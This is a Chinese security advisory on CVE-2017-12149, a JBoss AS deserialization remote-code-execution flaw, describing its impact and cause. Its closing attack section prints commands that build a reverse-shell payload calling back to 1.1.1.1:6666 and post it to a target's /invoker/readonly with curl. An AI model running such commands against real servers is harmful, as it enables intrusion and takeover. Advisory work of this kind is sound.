标题 | 简介 | 类型 | 公开时间 | ||||||||||||||||||||||||
|
|||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||
详情 | |||||||||||||||||||||||||||
[SAFE-ID: JIWO-2024-1133] 作者: ecawen 发表于: [2017-11-23]
本文共 [527] 位读者顶过
通告背景 2017年8月30日,Redhat公司发布了一个JbossAS 5.x系统的远程代码执行严重漏洞通告,相应的漏洞编号为CVE-2017-12149。近期有安全研究者发现JbossAS 6.x也受该漏洞影响,攻击者可能利用此漏洞无需用户验证在系统上执行任意命令。
[出自:jiwo.org] 360威胁情报中心分析确认该漏洞可用,漏洞相关的技术细节和验证程序已经公开,互联网上受影响的主机数目较多。此漏洞极有可能被利用来执行大规模的攻击,构成现实的威胁, 360威胁情报中心发现已有存在漏洞的用户主机被攻击入侵并安装了挖矿程序(Miner)。因此,我们发布此通告提醒企业和组织采取应对措施以避免受此漏洞影响。
漏洞概要
漏洞描述 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
影响面评估 360威胁情报中心已经确认公开的漏洞利用代码有效,且该漏洞影响5.x和6.x版本的JbossAS。目前评估潜在受影响主机数量超过5000台,整体影响面较大,综合分析威胁等级为高。
处置建议 修复方法
技术分析 该漏洞存在于http invoker 组件的 ReadOnlyAccessFilter 的 doFilter 中。如下图所示:
方法中的代码在没有进行任何安全检查的情况下,将来自客户端的数据流(request.getInputStream())进行了反序列化操作(红色箭头所示),从而导致了反序列化漏洞。
攻击方式 攻击者只需要构造带有需要执行Payload的ser文件,然后使用curl将二进制文件提交至目标服务器的invoker/readonly页面中,即可执行Payload中指定的命令,获取对电脑的控制权。攻击示例代码如下:
//编译预置payload的java文件 javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//反弹shell的IP和端口 java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 1.1.1.1:6666
//使用curl向/invoker/readonly提交payload curl http://192.268.197.25:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser |